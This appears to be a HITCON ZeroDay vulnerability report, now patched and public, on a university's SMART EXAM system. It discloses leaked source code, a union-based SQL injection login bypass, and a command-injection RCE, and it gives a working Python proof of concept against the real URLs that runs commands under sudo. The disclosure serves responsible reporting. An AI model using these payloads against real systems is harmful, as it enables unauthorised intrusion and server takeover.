國立屏東大學 資訊工程學系 即時與嵌入式系統實驗室 SMART EXAM 公開原始碼 & 登入繞過 & 遠端代碼執行 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2020-00947
  •  發信 Vendor: 國立屏東大學
  • Title: 國立屏東大學 資訊工程學系 即時與嵌入式系統實驗室 SMART EXAM 公開原始碼 & 登入繞過 & 遠端代碼執行
  • Introduction: 公開原始碼 & 登入繞過 & RCE

處理狀態

目前狀態

公開
Last Update : 2020/12/05
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2020/11/07 23:17:43 : 新提交 (由 xiaobye 更新此狀態)
  • 2020/11/07 23:22:29 : 新提交 (由 xiaobye 更新此狀態)
  • 2020/11/08 23:02:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/11/09 12:33:08 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/11/09 12:33:08 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/11/24 16:56:47 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/12/02 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2020/12/04 17:01:21 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/12/04 18:40:43 : 確認已修補 (由 xiaobye 更新此狀態)
  • 2020/12/05 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2020-00947
  • 通報者:skps96g313 (xiaobye)
  • 風險:高
  • 類型:程式碼執行 (Code Execution)

參考資料

攻擊者可藉由此漏洞執行惡意程式碼,進行如操縱網站作業系統等惡意行為。
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

原始碼:
https://git.csie.nptu.edu.tw/tree/SmartExam.git/master

登入繞過:
https://smartexam.csie.nptu.edu.tw/login.php

指令注入:
https://smartexam.csie.nptu.edu.tw/se/php/executionTest.php
https://smartexam.csie.nptu.edu.tw/se/php/executionTestFile.php

敘述

 存在sql injection,可以利用union-based sql injection繞過登入,前提是要有一組正確的帳號,帳號的部分可以到https://smartexam.csie.nptu.edu.tw/loginlog.txt中挑一組來用。

圖片

https://smartexam.csie.nptu.edu.tw/se/php/executionTest.php以及https://smartexam.csie.nptu.edu.tw/se/php/executionTestFile.php下存在指令注入攻擊,使用POST方法,帶入proLan=JAVA以及className中塞入惡意的指令即可達成

圖片

POC

# -*- coding: UTF-8 -*-
import requests
import re
import sys

instr = sys.argv[1]
login = {
    'usr':'\' and 1=0 union select "cbb104051","$2y$10$FnD9e7mrgQbvhih/VfPHcONF9CaYzRtSYbqpHD2mFUlIs9zH8kHra","老師","老師","老師","老師","老師","老師","老師","老師" # ',
    'pwd':'root123456'
}
s = requests.Session()
s.post('https://smartexam.csie.nptu.edu.tw/login.php',data=login)

payload = {
        'className':'||echo \'<p>\';sudo %s;echo \'</p>\' #' %(instr),
        'proLan':'JAVA',
}
resp = s.post('https://smartexam.csie.nptu.edu.tw/se/php/executionTest.php',data=payload)
out = re.search('<p>.*</p>',resp.text)
print out.group(0).replace('<br>','\n').replace('<p>','').replace('</p>','')

RCE

#使用python2
python poc.py 'whoami && uname -a' 

圖片

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;